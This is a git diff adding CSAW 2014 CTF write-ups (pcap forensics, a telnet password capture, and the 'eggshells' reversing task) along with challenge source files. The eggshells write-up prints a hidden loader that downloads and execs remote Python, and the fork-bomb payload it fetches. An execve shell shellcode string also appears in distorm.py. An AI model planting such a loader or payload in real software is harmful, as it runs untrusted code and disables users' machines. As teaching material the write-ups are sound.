xmlDoc.documentElement.getAttribute('Entropy') + + #extra data + countEof = xmlDoc.documentElement.getAttribute('CountEOF') + countChatAfterLastEof = xmlDoc.documentElement.getAttribute('CountCharsAfterLastEOF') + totalEntropy = xmlDoc.documentElement.getAttribute('TotalEntropy') + streamEntropy = xmlDoc.documentElement.getAttribute('StreamEntropy') + nonStreamEntropy = xmlDoc.documentElement.getAttribute('NonStreamEntropy') + + keywords = [] + dates = [] + + #grab all keywords + for node in xmlDoc.documentElement.getElementsByTagName('Keywords')[0].childNodes: + name = node.getAttribute('Name') + count = int(node.getAttribute('Count')) + if int(node.getAttribute('HexcodeCount')) > 0: + hexCount = int(node.getAttribute('HexcodeCount')) + else: + hexCount = 0 + keyword = { 'count':count, 'hexcodecount':hexCount, 'name':name } + keywords.append(keyword) + + #grab all date information + for node in xmlDoc.documentElement.getElementsByTagName('Dates')[0].childNodes: + name = node.getAttribute('Name') + value = node.getAttribute('Value') + date = { 'name':name, 'value':value } + dates.append(date) + + data = { 'countEof':countEof, 'countChatAfterLastEof':countChatAfterLastEof, 'totalEntropy':totalEntropy, 'streamEntropy':streamEntropy, 'nonStreamEntropy':nonStreamEntropy, 'errorOccured':errorOccured, 'errorMessage':errorMessage, 'filename':filename, 'header':header, 'isPdf':isPdf, 'version':version, 'entropy':entropy, 'keywords': { 'keyword': keywords }, 'dates': { 'date':dates} } + complete = [ { 'pdfid' : data} ] + result = json.dumps(complete) + return result + +def Main(): + oParser = optparse.OptionParser(usage='usage: %prog [options] [pdf-file|zip-file|url]\n' + __description__, version='%prog ' + __version__) + oParser.add_option('-s', '--scan', action='store_true', default=False, help='scan the given directory') + oParser.add_option('-a', '--all', action='store_true', default=False, help='display all the names') + oParser.add_option('-e', '--extra', action='store_true', default=False, help='display extra data, like dates') + oParser.add_option('-f', '--force', action='store_true', default=False, help='force the scan of the file, even without proper %PDF header') + oParser.add_option('-d', '--disarm', action='store_true', default=False, help='disable JavaScript and auto launch') + (options, args) = oParser.parse_args() + + if len(args) == 0: + if options.disarm: + print('Option disarm not supported with stdin') + options.disarm = False + print(PDFiD2String(PDFiD('', options.all, options.extra, options.disarm, options.force), options.force)) + elif len(args) == 1: + if options.scan: + Scan(args[0], options.all, options.extra, options.disarm, options.force) + else: + print(PDFiD2String(PDFiD(args[0], options.all, options.extra, options.disarm, options.force), options.force)) + else: + oParser.print_help() + print('') + print(' %s' % __description__) + print(' Source code put in the public domain by Didier Stevens, no Copyright') + print(' Use at your own risk') + print(' https://DidierStevens.com') + return + +if __name__ == '__main__': + Main() diff --git a/CTFs/2014-CSAW-CTF/forensics/why-not-sftp/README.md b/CTFs/2014-CSAW-CTF/forensics/why-not-sftp/README.md new file mode 100644 index 0000000..4704335 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/why-not-sftp/README.md @@ -0,0 +1,100 @@ +# Forensics-200: why not sftp? + +The meaning of this problem is to teach about the need of encrypting your data. The [FTP] protocol sends clear text over the wire, *i.e* the data is transmitted without any encryption. + [SSH/Secure File Transfer Protocol] is a network protocol providing secure file transfer. Using SFTP, instead of FTP, would avoid to find the flag in this problem in the way we did. + +This is the second forensics problem and it starts with the following text: + +> well seriously, why not? +> +> Written by marc +> +> [traffic-5.pcap] +> + + + +--- + +## Analyzing the PCAP File + +Now let's search for the flag! We open the [pcap] file in [Wireshark] (an open-source packet analyzer). There are several things that we could search for in this file, for instance we could look for FTP transactions or we could search for strings such as *password* or *flag*. We show both approaches. + + +## Solution 1: Searching for the string *flag* + +#### Going in the Wrong Way + +So the first thing I did was searching for the string *password*: + +1. Go to Edit +2. Go to Find Packet +3. Search for password choosing the options string and packet bytes. + +Clicking on *Follow TCP Stream* gives: +![](http://i.imgur.com/c61P5Aj.png) + +Nope. This is a misleading information! + +--- + +#### But We Were Almost There! + +Now, if we search for *flag* we actually find something: + +![](http://i.imgur.com/knuwJFq.png) + +We find the packet with a file named flag! Awesome. + + +--- + +## Solution 2: Looking for the FTP Protocols + +All right, let's use another information we have: it should be something related to the FTP protocol. In Wireshark, we can find specific protocol with filters. We want to filter for FTP with some data. We start trying the usual FTP-DATA port: + +``` +tcp.port==20 +``` + +Nope. The results should be another port. Let's search explicitly for: + +``` +ftp-data +``` + +Cool, we found a few packets: +![](http://i.imgur.com/cWhiXZD.png) + + We don't need to scroll down too much to find a packet with a string flag on it! Awesome. + + +--- + +## Extracting the File + +Once we find the packet with any of the methods above, we right-click it selecting *Follow TCP Stream*. This leads to: + +![](http://i.imgur.com/LZTse2s.png) + +The file *flag.png* is our flag. To extract it we click in the *Save as* button, then in the terminal we can use the command [file]: +```sh +$ file s.whatever +s.whatever: Zip archive data, at least v2.0 to extract +``` + +Awesome, so all we need is to *unzip* this file and we get *flag.png*: + +![](http://i.imgur.com/WcxyITv.png) + + + + +**Hack all the Things!** +[file]: http://en.wikipedia.org/wiki/File_(command) +[SSH/Secure File Transfer Protocol]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol +[traffic-5.pcap]: https://ctf.isis.poly.edu/static/uploads/7831788f2ab94feddc72ce53e80fda5f/traffic-5.pcap +[sftp]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol +[pcap]: http://en.wikipedia.org/wiki/Pcap +[Wireshark]: https://www.wireshark.org/ +[FTP]: http://en.wikipedia.org/wiki/File_Transfer_Protocol \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/forensics/why-not-sftp/traffic-5.pcap b/CTFs/2014-CSAW-CTF/forensics/why-not-sftp/traffic-5.pcap new file mode 100644 index 0000000..b0e57cc Binary files /dev/null and b/CTFs/2014-CSAW-CTF/forensics/why-not-sftp/traffic-5.pcap differ diff --git a/CTFs/2014-CSAW-CTF/networking/README.md b/CTFs/2014-CSAW-CTF/networking/README.md new file mode 100644 index 0000000..94a479f --- /dev/null +++ b/CTFs/2014-CSAW-CTF/networking/README.md @@ -0,0 +1,69 @@ +#Networking-100: Big Data + + +This is the only networking problem, and it is only 100 points, so it turned out to be very easy. + +The problem starts with the following text: + +> Something, something, data, something, something, big +> +> Written by HockeyInJune +> +> [pcap.pcapng] + + + +____ + +## Inspecting the Wireshark File + +The file extension [.pcapng] correspond to files for *packet capture*. They usually contain a dump of data packets captured over a network. This type of files holds blocks or data, and they can be used to rebuild captured packets into recognizable data. + +We can open this file with [Wireshark], which is an open-source packet analyzer, or using [chaosreader], a freeware tool to trace TCP and UDP sessions. We choose the first. There are several things that we could explore and look for in this file. We could search for all the protocols inside and analyse them. We could inspect the addresses. Or we could look for specific strings such as logins or passwords. + +## Searching for the String *Password* + +It turned out that all we need was to look for the string *password*. To do this we followed these steps in Wireshark: + 1. Go to *Edit* + 2. Go to *Find Packet* + 3. Search for **password** choosing the options *string* and *packet bytes*. + +Yay! We found something over a **telnet** protocol: + +![](http://i.imgur.com/mUN4b1n.png) + + +____ + +## Following the TCP Stream + +Now, all we need to do is to right-click in the line and choose *Follow TCP Stream*. This returns: + +``` +..... .....'...........%..&..... ..#..'..$..%..&..#..............$.. .....'.............P...... .38400,38400....'.......XTERM.......".....!.....".....!............ +Linux 3.13.0-32-generic (ubuntu) (pts/0) + +..ubuntu login: j.ju.ul.li.ia.an.n +. +..Password: flag{bigdataisaproblemnotasolution} +. +. +Login incorrect +..ubuntu login: +``` + +And we find our flag: **bigdataisaproblemnotasolution**! + + +**Hack all the things!** + +Ps: If you had decided to use *chaosreader* to process the pcapng file instead, the solution [from this write-up] is also cool: +```sh +for f in pcap.pcapng-chaosreader/*.html; do cat "${f}" | w3m -dump -T text/html "${f}"; done | egrep "flag{" +``` + +[from this write-up]: http://evandrix.github.io/ctf/2014-csaw-networking-100-bigdata.html +[pcap.pcapng]:https://github.com/ctfs/write-ups/blob/master/csaw-ctf-2014/big-data/pcap.pcapng +[.pcapng]: https://appliance.cloudshark.org/blog/5-reasons-to-move-to-pcapng/ +[Wireshark]: https://www.wireshark.org/ +[chaosreader]:http://chaosreader.sourceforge.net/ \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/networking/pcap.pcapng b/CTFs/2014-CSAW-CTF/networking/pcap.pcapng new file mode 100644 index 0000000..024c43e Binary files /dev/null and b/CTFs/2014-CSAW-CTF/networking/pcap.pcapng differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/README.md b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/README.md new file mode 100644 index 0000000..8b599aa --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/README.md @@ -0,0 +1,139 @@ +# Reverse Engineering-100: eggshells + +This is the first exploitation problem and it starts with the following text: + +> I trust people on the internet all the time, do you? +> +> Written by ColdHeat +> +> eggshells-master.zip + +___ +## Unzipping and Analyzing the Files + +Let’s unzip the provided zip file: + +```sh +$ unzip eggshells-master.zip +``` + +This creates a directory called *eggshells-master* that contains several *Python* and *exe* files. Let us look closer to the contend of this folder: + +```sh +$ tree . +├── capstone.py +├── distorm.py +├── interpreter.py +├── main.py +├── nasm +│   ├── LICENSE +│   ├── nasm.exe +│   ├── ndisasm.exe +│   └── rdoff +│   ├── ldrdf.exe +│   ├── rdf2bin.exe +│   ├── rdf2com.exe +│   ├── rdf2ihx.exe +│   ├── rdf2ith.exe +│   ├── rdf2srec.exe +│   ├── rdfdump.exe +│   ├── rdflib.exe +│   └── rdx.exe +├── nasm.py +├── server.py +├── shellcode.py +├── utils.pyc +└── wrapper.py +``` + +Do you see anything unusual? + +___ + +## Decompiled a pre-compiled Python File + +A pre-compiled Python file stands out in this list: *utils.pyc*. We need to decompile it. For this task we use [uncompyle2], which can be installed with: + +```sh +$ sudo pip install uncompyle2 +``` + +Let's learn a bit more about this tool with ```uncompyle2 --help```. The usage is straightfoward, but it's a good knowledge to learn about the *-o* flag, which will decompile to a *.dis* file instead of *stdout*: + +```sh +Usage: uncompyle2 [OPTIONS]... [ FILE | DIR]... + +Examples: + uncompyle2 foo.pyc bar.pyc # decompile foo.pyc, bar.pyc to stdout + uncompyle2 -o . foo.pyc bar.pyc # decompile to ./foo.dis and ./bar.dis + uncompyle2 -o /tmp /usr/lib/python1.5 # decompile whole library + +Options: + -o output decompiled files to this path: + if multiple input files are decompiled, the common prefix + is stripped from these names and the remainder appended to + + uncompyle -o /tmp bla/fasel.pyc bla/foo.pyc + -> /tmp/fasel.dis, /tmp/foo.dis + uncompyle -o /tmp bla/fasel.pyc bar/foo.pyc + -> /tmp/bla/fasel.dis, /tmp/bar/foo.dis +``` + +We could also use *.py* extension if we like: +```sh + --py use '.py' extension for generated files +``` + +Also, we learn about all the possible outputs: +```sh + Extensions of generated files: + '.pyc_dis' '.pyo_dis' successfully decompiled (and verified if --verify) + '.py' with --py option + + '_unverified' successfully decompile but --verify failed + + '_failed' uncompyle failed (contact author for enhancement) +``` + +All right, no more diverging. Let's play! We run the ```uncompyle2``` command and obtain the following: +```sh +$ uncompyle2 utils.pyc +#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py +exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read() ++++ okay decompyling utils.pyc +# decompiled 1 files: 1 okay, 0 failed, 0 verify failed +``` + +___ +## Parsing the Result and Voilà + +So all that this file does is in this line: +```python +exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read() +``` + +To understand this code,, we need to know that Python's [exec] method performs dynamic execution of code. In this problem, *exec* starts importing [urllib2], which is a library for opening URLs. It has the method [urlopen()] to open the URL url, which can be either a string or a request object. This function returns a file-like object with three additional methods. Finally, [read()] would read this returned file. + +So all that this script does is to try running a Python file that is hosted online! +Well, let's see what this file does! Let's just *curl* [http://kchung.co/lol.py]: + +```sh +$ curl http://kchung.co/lol.py +import os +while True: + try: + os.fork() + except: + os.system('start') +# flag{trust_is_risky} +``` + +Yaaay! The flag is **trust_is_risky**! Easy! + +**Hack all the things!** + + +[uncompyle2]: https://github.com/gstarnberger/uncompyle +[http://kchung.co/lol.py]: http://kchung.co/lol.py +[exec]: https://docs.python.org/2/reference/simple_stmts.html#exec +[urllib2]: https://docs.python.org/2/library/urllib2.html#module-urllib2 +[urlopen()]: https://docs.python.org/2/library/urllib2.html#urllib2.urlopen +[read()]: http://www.tutorialspoint.com/python/file_read.htm diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/capstone.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/capstone.py new file mode 100755 index 0000000..56ef332 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/capstone.py @@ -0,0 +1,46 @@ +import utils +from capstone import * + +def arch(arch): + if arch == 'arm': + return CS_ARCH_ARM + elif arch == 'arm64': + return CS_ARCH_ARM64 + elif arch == 'mips': + return CS_ARCH_MIPS + elif arch == 'x86': + return CS_ARCH_X86 + + +def mode(mode): + if mode == 'arm': + return CS_MODE_ARM + elif mode == 'thumb': + return CS_MODE_THUMB + elif mode == '16' or mode == 16: + return CS_MODE_16 + elif mode == '32' or mode == 32: + return CS_MODE_32 + elif mode == '64' or mode == 64: + return CS_MODE_32 + + +def disassemble(code, _arch, _mode): + _arch = arch(_arch) + _mode = mode(_mode) + + md = Cs(_arch, _mode) + + disassembly = [] + + for i in md.disasm(CODE, 0x0000000): + disassembly.append( + (i.address, len(str(i.bytes).encode('hex')) / 2, str(i.bytes).encode('hex'), i.mnemonic, i.op_str)) + + return disassembly + + +CODE = "\x90\x90\x90" + +for x in disassemble(CODE, 'x86', '64'): + print "0x%08x (%02x) %-20s %s %s" % (x[0], x[1], x[2], x[3], x[4]) diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/distorm.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/distorm.py new file mode 100755 index 0000000..55682a6 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/distorm.py @@ -0,0 +1,36 @@ +import utils +import distorm3 +import re + +hex_regex = re.compile(r'0x\w*') + +def disassemble(shellcode, mode=32): + ''' + Does disassembly with distorm3 and handles the string joining + ''' + if mode == 32: + disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode32Bits) + + elif mode == 64: + disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode64Bits) + + elif mode == 16: + disasm = distorm3.Decode(0x0, shellcode, distorm3.Decode16Bits) + + disassembly = '' + for line in disasm: + + hexvals = hex_regex.findall(line[2]) + if len(hexvals) > 0 and ('PUSH' in line[2] or 'MOV' in line[2]): + line = list(line) # Why you give me tuple Distorm? + if len(hexvals[0][2:]) > 2: + line[2] = line[2] + '\t; ' + hexvals[0][2:].decode('hex') + else: + line[2] = line[2] + '\t; ' + str(int(hexvals[0], 16)) + + disassembly += "0x%08x (%02x) %-20s %s" % (line[0], line[1], line[3], line[2]) + "\n" + + return disassembly + +if __name__ == '__main__': + print disassemble('\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05', 64) diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/interpreter.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/interpreter.py new file mode 100755 index 0000000..0229017 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/interpreter.py @@ -0,0 +1,837 @@ +"""A Tkinter-based console for conversing with the Python interpreter, +featuring more tolerant pasting of code from other interactive sessions, +better handling of continuations than the standard Python interpreter, +highlighting of the most recently-executed code block, the ability to +edit and reexecute previously entered code, a history of recently-entered +lines, automatic multi-level completion with pop-up menus, and pop-up help. + +Ka-Ping Yee , 18 April 1999. This software is in the public +domain and is provided without express or implied warranty. Permission to +use, modify, or distribute the software for any purpose is hereby granted.""" + +# TODO: autoindent to matching bracket after an unbalanced line (hard) +# TODO: outdent after line starting with "break", "raise", "return", etc. +# TODO: keep a stack of indent levels for backspace to jump back to +# TODO: blink or highlight matching brackets +# TODO: delete the prompt when joining lines; allow a way to break lines +import utils +from Tkinter import * +import sys, string, traceback, types, __builtin__ + +REVISION = "$Revision: 1.4 $" +VERSION = string.split(REVISION)[1] + +class OutputPipe: + """A substitute file object for redirecting output to a function.""" + + def __init__(self, writer): + self.writer = writer + self.closed = 0 + + def __repr__(self): + return "" % repr(self.writer) + + def read(self, length): + return "" + + def write(self, data): + if not self.closed: self.writer(data) + + def close(self): + self.closed = 1 + + +class Console(Frame): + def __init__(self, parent=None, dict={}, **options): + """Construct from a parent widget, an optional dictionary to use + as the namespace for execution, and any configuration options.""" + Frame.__init__(self, parent) + + # Continuation state. + + self.continuation = 0 + self.error = 0 + self.intraceback = 0 + self.pasted = 0 + + # The command history. + + self.history = [] + self.historyindex = None + self.current = "" + + # Completion state. + + self.compmenus = [] + self.compindex = None + self.compfinish = "" + + # Redirection. + + self.stdout = OutputPipe(lambda data, w=self.write: w(data, "stdout")) + self.stderr = OutputPipe(lambda data, w=self.write: w(data, "stderr")) + + # Interpreter state. + + if not hasattr(sys, "ps1"): sys.ps1 = ">>> " + if not hasattr(sys, "ps2"): sys.ps2 = "... " + self.prefixes = [sys.ps1, sys.ps2, ">> ", "> "] + self.startup = "Python %s\n%s\n" % (sys.version, sys.copyright) + \ + "Python Console v%s by Ka-Ping Yee \n" % VERSION + self.dict = dict + + # The text box. + + self.text = Text(self, insertontime=200, insertofftime=150) + self.text.insert("end", self.startup) + self.text.insert("end", sys.ps1) + self.text.bind("", self.cb_return) + self.text.bind("", self.cb_select) + self.text.bind("", self.cb_position) + self.text.bind("", self.cb_paste) + self.text.bind("", self.cb_home) + self.text.bind("", self.cb_ctrlhome) + self.text.bind("", self.cb_back) + self.text.bind("", self.cb_forward) + self.text.bind("", self.cb_cleanup) + self.text.bind("", self.cb_cleanup) + self.text.bind("", self.cb_cleanup) + self.text.bind("", self.cb_complete) + self.text.bind("", self.cb_position) + self.text.bind("", self.cb_space) + self.text.bind("", self.cb_backspace) + self.text.bind("", self.cb_nothing) + self.text.bind("", self.cb_help) + self.text.bind("", self.cb_help) + self.text.bind("", self.cb_help) + + # The scroll bar. + + self.scroll = Scrollbar(self, command=self.text.yview) + self.text.config(yscrollcommand=self.scroll.set) + self.scroll.pack(side=RIGHT, fill=Y) + self.text.pack(fill=BOTH, expand=1) + self.text.focus() + + # Configurable options. + + self.options = {"stdoutcolour": "#7020c0", + "stderrcolour": "#c03020", + "morecolour": "#a0d0f0", + "badcolour": "#e0b0b0", + "runcolour": "#90d090"} + apply(self.config, (), self.options) + apply(self.config, (), options) + + def __getitem__(self, key): + return self.options[key] + + def __setitem__(self, key, value): + if not self.options.has_key(key): + raise KeyError, 'no such configuration option "%s"' % key + self.options[key] = value + if key == "stdoutcolour": + self.text.tag_configure("stdout", foreground=value) + if key == "stderrcolour": + self.text.tag_configure("stderr", foreground=value) + + def config(self, *args, **dict): + """Get or set configuration options in a Tkinter-like style.""" + if args == () and dict == {}: + return self.options + if len(args) == 1: + return self.options[args[0]] + for key, value in dict.items(): + self[key] = value + + # Text box routines. + + def trim(self, command): + """Trim any matching prefix from the given command line, returning + the amount trimmed and the trimmed result.""" + for prefix in self.prefixes: + if command[:len(prefix)] == prefix: + return len(prefix), command[len(prefix):] + return 0, command + + def getline(self, line=None, trim=0): + """Return the command on the current line.""" + if line is None: + line, pos = self.cursor() + command = self.text.get("%d.0" % line, "%d.end" % line) + if trim: + trimmed, command = self.trim(command) + return command + + def cursor(self): + """Get the current line and position of the cursor.""" + cursor = self.text.index("insert") + [line, pos] = map(string.atoi, string.split(cursor, ".")) + return line, pos + + def write(self, data, tag=None): + """Show output from stdout or stderr in the console.""" + if self.intraceback and data[-2:] == "\n ": data = data[:-1] + start = self.text.index("insert") + self.text.insert("insert", data) + end = self.text.index("insert") + if tag: self.text.tag_add(tag, start, end) + + # History mechanism. + + def cb_back(self, event): + """Step back in the history.""" + if self.history: + if self.historyindex == None: + self.current = self.getline(trim=1) + self.historyindex = len(self.history) - 1 + elif self.historyindex > 0: + self.historyindex = self.historyindex - 1 + self.recall() + + return "break" + + def cb_forward(self, event): + """Step forward in the history.""" + if self.history and self.historyindex is not None: + self.historyindex = self.historyindex + 1 + if self.historyindex < len(self.history): + self.recall() + else: + self.historyindex = None + self.recall(self.current) + + return "break" + + def recall(self, command=None): + """Show a command from the history on the current line.""" + if command is None: + command = self.history[self.historyindex] + line, pos = self.cursor() + current = self.getline(line) + trimmed, trimmedline = self.trim(current) + cutpos = "%d.%d" % (line, trimmed) + self.text.delete(cutpos, "%d.end" % line) + self.text.insert(cutpos, command) + self.text.mark_set("insert", "%d.end" % line) + + # Completion mechanism. + + def precontext(self): + # Scan back for the identifier currently being typed. + line, pos = self.cursor() + command = self.getline() + preceding = command[:pos] + startchars = string.letters + "_" + identchars = string.letters + string.digits + "_" + while pos > 0 and preceding[pos-1] in identchars: + pos = pos - 1 + preceding, ident = preceding[:pos], preceding[pos:] + start = "%d.%d" % (line, pos) + + preceding = string.strip(preceding) + context = "" + if not ident or ident[0] in startchars: + # Look for context before the start of the identifier. + while preceding[-1:] == ".": + preceding = string.strip(preceding[:-1]) + if preceding[-1] in identchars: + pos = len(preceding)-1 + while pos > 0 and preceding[pos-1] in identchars: + pos = pos - 1 + if preceding[pos] in startchars: + context = preceding[pos:] + "." + context + preceding = string.strip(preceding[:pos]) + else: break + else: break + + line, pos = self.cursor() + endpos = pos + while endpos < len(command) and command[endpos] in identchars: + endpos = endpos + 1 + end = "%d.%d" % (line, endpos) + + return command, context, ident, start, end + + def cb_complete(self, event): + """Attempt to complete the identifier currently being typed.""" + if self.compmenus: + if self.cursor() == self.compindex: + # Second attempt to complete: add finishing char and continue. + self.text.insert("insert", self.compfinish) + self.compindex = None + self.unpostmenus() + return "break" + + command, context, ident, start, end = self.precontext() + + # Get the list of possible choices. + if context: + try: + object = eval(context[:-1], self.dict) + keys = members(object) + except: + object = None + keys = [] + else: + class Lookup: + def __init__(self, dicts): + self.dicts = dicts + + def __getattr__(self, key): + for dict in self.dicts: + if dict.has_key(key): return dict[key] + return None + object = Lookup([self.dict, __builtin__.__dict__]) + keys = self.dict.keys() + dir(__builtin__) + + keys = matchingkeys(keys, ident) + if not ident: + public = [] + for key in keys: + if key[:1] != "_": public.append(key) + keys = public + skip = len(ident) + + # Produce the completion. + if len(keys) == 1: + # Complete with the single possible choice. + if self.cursor() == self.compindex: + # Second attempt to complete: add finisher and continue. + self.text.insert("insert", self.compfinish) + self.compindex = None + else: + self.text.delete("insert", end) + self.text.insert("insert", keys[0][skip:]) + try: self.compfinish = finisher(getattr(object, keys[0])) + except: self.compfinish = " " + if self.compfinish == " ": + # Object has no members; stop here. + self.text.insert("insert", " ") + else: + self.compindex = self.cursor() + elif len(keys) > 1: + # Present a menu. + prefix = commonprefix(keys) + keys.sort() + if len(prefix) > skip: + self.text.delete("insert", end) + self.text.insert("insert", keys[0][skip:len(prefix)]) + skip = len(prefix) + + if len(keys[0]) == skip: + # Common prefix is a valid choice; next try can finish. + self.compindex = self.cursor() + try: self.compfinish = finisher(getattr(object, keys[0])) + except: self.compfinish = " " + + self.postmenus(keys, skip, end, object) + + return "break" + + def postmenus(self, keys, skip, cut, object): + """Post a series of menus listing all the given keys, given the + length of the existing part so we can position the menus under the + cursor, and the index at which to insert the completion.""" + width = self.winfo_screenwidth() + height = self.winfo_screenheight() + bbox = self.text.bbox("insert - %d c" % skip) + x = self.text.winfo_rootx() + bbox[0] - 4 + y = self.text.winfo_rooty() + bbox[1] + bbox[3] + + self.compmenus = [] + menufont = self.text.cget("font") + menu = Menu(font=menufont, bd=1, tearoff=0) + self.compmenus.append(menu) + while keys: + try: finishchar = finisher(getattr(object, keys[0])) + except: finishchar = " " + def complete(s=self, k=keys[0][skip:], c=cut, f=finishchar): + if f == " ": k = k + f + s.text.delete("insert", c) + s.text.insert("insert", k) + s.unpostmenus() + if f != " ": + s.compfinish = f + s.compindex = s.cursor() + menu.add_command(label=keys[0], command=complete) + menu.update() + if y + menu.winfo_reqheight() >= height: + menu.delete("end") + x = x + menu.winfo_reqwidth() + y = 0 + menu = Menu(font=menufont, bd=1, tearoff=0) + self.compmenus.append(menu) + else: + keys = keys[1:] + if x + menu.winfo_reqwidth() > width: + menu.destroy() + self.compmenus = self.compmenus[:-1] + self.compmenus[-1].delete("end") + self.compmenus[-1].add_command(label="...") + break + + x = self.text.winfo_rootx() + bbox[0] - 4 + y = self.text.winfo_rooty() + bbox[1] + bbox[3] + for menu in self.compmenus: + maxtop = height - menu.winfo_reqheight() + if y > maxtop: y = maxtop + menu.post(x, y) + x = x + menu.winfo_reqwidth() + self.text.focus() + self.text.grab_set() + + def unpostmenus(self): + """Unpost the completion menus.""" + for menu in self.compmenus: + menu.destroy() + self.compmenus = [] + self.text.grab_release() + + def cb_cleanup(self, event=None): + if self.compmenus: + self.unpostmenus() + if self.pasted: + self.text.tag_remove("sel", "1.0", "end") + self.pasted = 0 + + def cb_select(self, event): + """Handle a menu selection event. We have to check and invoke the + completion menus manually because we are grabbing events to give the + text box keyboard focus.""" + if self.compmenus: + for menu in self.compmenus: + x, y = menu.winfo_rootx(), menu.winfo_rooty() + w, h = menu.winfo_width(), menu.winfo_height() + if x < event.x_root < x + w and \ + y < event.y_root < y + h: + item = menu.index("@%d" % (event.y_root - y)) + menu.invoke(item) + break + else: + self.unpostmenus() + return "break" + + # Help mechanism. + + def cb_help(self, event): + command, context, ident, start, end = self.precontext() + word = self.text.get(start, end) + + object = parent = doc = None + skip = 0 + + try: + parent = eval(context[:-1], self.dict) + except: pass + + # Go merrily searching for the help string. + if not object: + try: + object = getattr(parent, word) + skip = len(word) - len(ident) + except: pass + + if not object: + try: + object = getattr(parent, ident) + except: pass + + if not object: + try: + object = self.dict[word] + skip = len(word) - len(ident) + except: pass + + if not object: + try: + object = self.dict[ident] + except: pass + + if not object: + try: + object = __builtin__.__dict__[word] + skip = len(word) - len(ident) + except: pass + + if not object: + try: + object = __builtins__.__dict__[ident] + except: pass + + if not object: + if not ident: + object = parent + + try: + doc = object.__doc__ + except: pass + + try: + if hasattr(object, "__bases__"): + doc = object.__init__.__doc__ or doc + except: pass + + if doc: + doc = string.rstrip(string.expandtabs(doc)) + leftmargin = 99 + for line in string.split(doc, "\n")[1:]: + spaces = len(line) - len(string.lstrip(line)) + if line and spaces < leftmargin: leftmargin = spaces + + bbox = self.text.bbox("insert + %d c" % skip) + width = self.winfo_screenwidth() + height = self.winfo_screenheight() + menufont = self.text.cget("font") + + help = Menu(font=menufont, bd=1, tearoff=0) + try: + classname = object.__class__.__name__ + help.add_command(label="" % classname) + help.add_command(label="") + except: pass + for line in string.split(doc, "\n"): + if string.strip(line[:leftmargin]) == "": + line = line[leftmargin:] + help.add_command(label=line) + self.compmenus.append(help) + + x = self.text.winfo_rootx() + bbox[0] - 4 + y = self.text.winfo_rooty() + bbox[1] + bbox[3] + maxtop = height - help.winfo_reqheight() + if y > maxtop: y = maxtop + help.post(x, y) + self.text.focus() + self.text.grab_set() + + return "break" + + # Entering commands. + + def cb_position(self, event): + """Avoid moving into the prompt area.""" + self.cb_cleanup() + line, pos = self.cursor() + trimmed, command = self.trim(self.getline()) + if pos <= trimmed: + self.text.mark_set("insert", "%d.%d" % (line, trimmed)) + return "break" + + def cb_backspace(self, event): + self.cb_cleanup() + if self.text.tag_ranges("sel"): return + + # Avoid backspacing over the prompt. + line, pos = self.cursor() + trimmed, command = self.trim(self.getline()) + if pos <= trimmed: return "break" + + # Extremely basic outdenting. Needs more work here. + if not string.strip(command[:pos-trimmed]): + step = (pos - trimmed) % 4 + cut = pos - (step or 4) + if cut < trimmed: cut = trimmed + self.text.delete("%d.%d" % (line, cut), "%d.%d" % (line, pos)) + return "break" + + def cb_space(self, event): + self.cb_cleanup() + line, pos = self.cursor() + trimmed, command = self.trim(self.getline()) + + # Extremely basic indenting. Needs more work here. + if not string.strip(command[:pos-trimmed]): + start = trimmed + len(command) - len(string.lstrip(command)) + self.text.delete("insert", "%d.%d" % (line, start)) + step = 4 - (pos - trimmed) % 4 + self.text.insert("insert", " " * step) + return "break" + + def cb_home(self, event): + """Go to the first non-whitespace character in the line.""" + self.cb_cleanup() + line, pos = self.cursor() + trimmed, command = self.trim(self.getline()) + indent = len(command) - len(string.lstrip(command)) + self.text.mark_set("insert", "%d.%d" % (line, trimmed + indent)) + return "break" + + def cb_ctrlhome(self, event): + """Go to the beginning of the line just after the prompt.""" + self.cb_cleanup() + line, pos = self.cursor() + trimmed, command = self.trim(self.getline()) + self.text.mark_set("insert", "%d.%d" % (line, trimmed)) + return "break" + + def cb_nothing(self, event): + return "break" + + def cb_return(self, event, doindent=1): + """Handle a keystroke by running from the current line + and generating a new prompt.""" + self.cb_cleanup() + self.text.tag_delete("compiled") + self.historyindex = None + command = self.getline(trim=1) + if string.strip(command): + self.history.append(command) + + line, pos = self.cursor() + self.text.mark_set("insert", "%d.end" % line) + self.text.insert("insert", "\n") + self.runline(line) + + line, pos = self.cursor() + self.text.mark_set("insert", "%d.end" % line) + prompt = self.continuation and sys.ps2 or sys.ps1 + if pos > 0: + self.text.insert("insert", "\n" + prompt) + else: + self.text.insert("insert", prompt) + + if doindent and not self.error: + self.autoindent(command) + self.error = 0 + self.text.see("insert") + return "break" + + def autoindent(self, command): + # Extremely basic autoindenting. Needs more work here. + indent = len(command) - len(string.lstrip(command)) + if string.lstrip(command): + self.text.insert("insert", command[:indent]) + if string.rstrip(command)[-1] == ":": + self.text.insert("insert", " ") + + def cb_paste(self, event): + """Handle a paste event (middle-click) in the 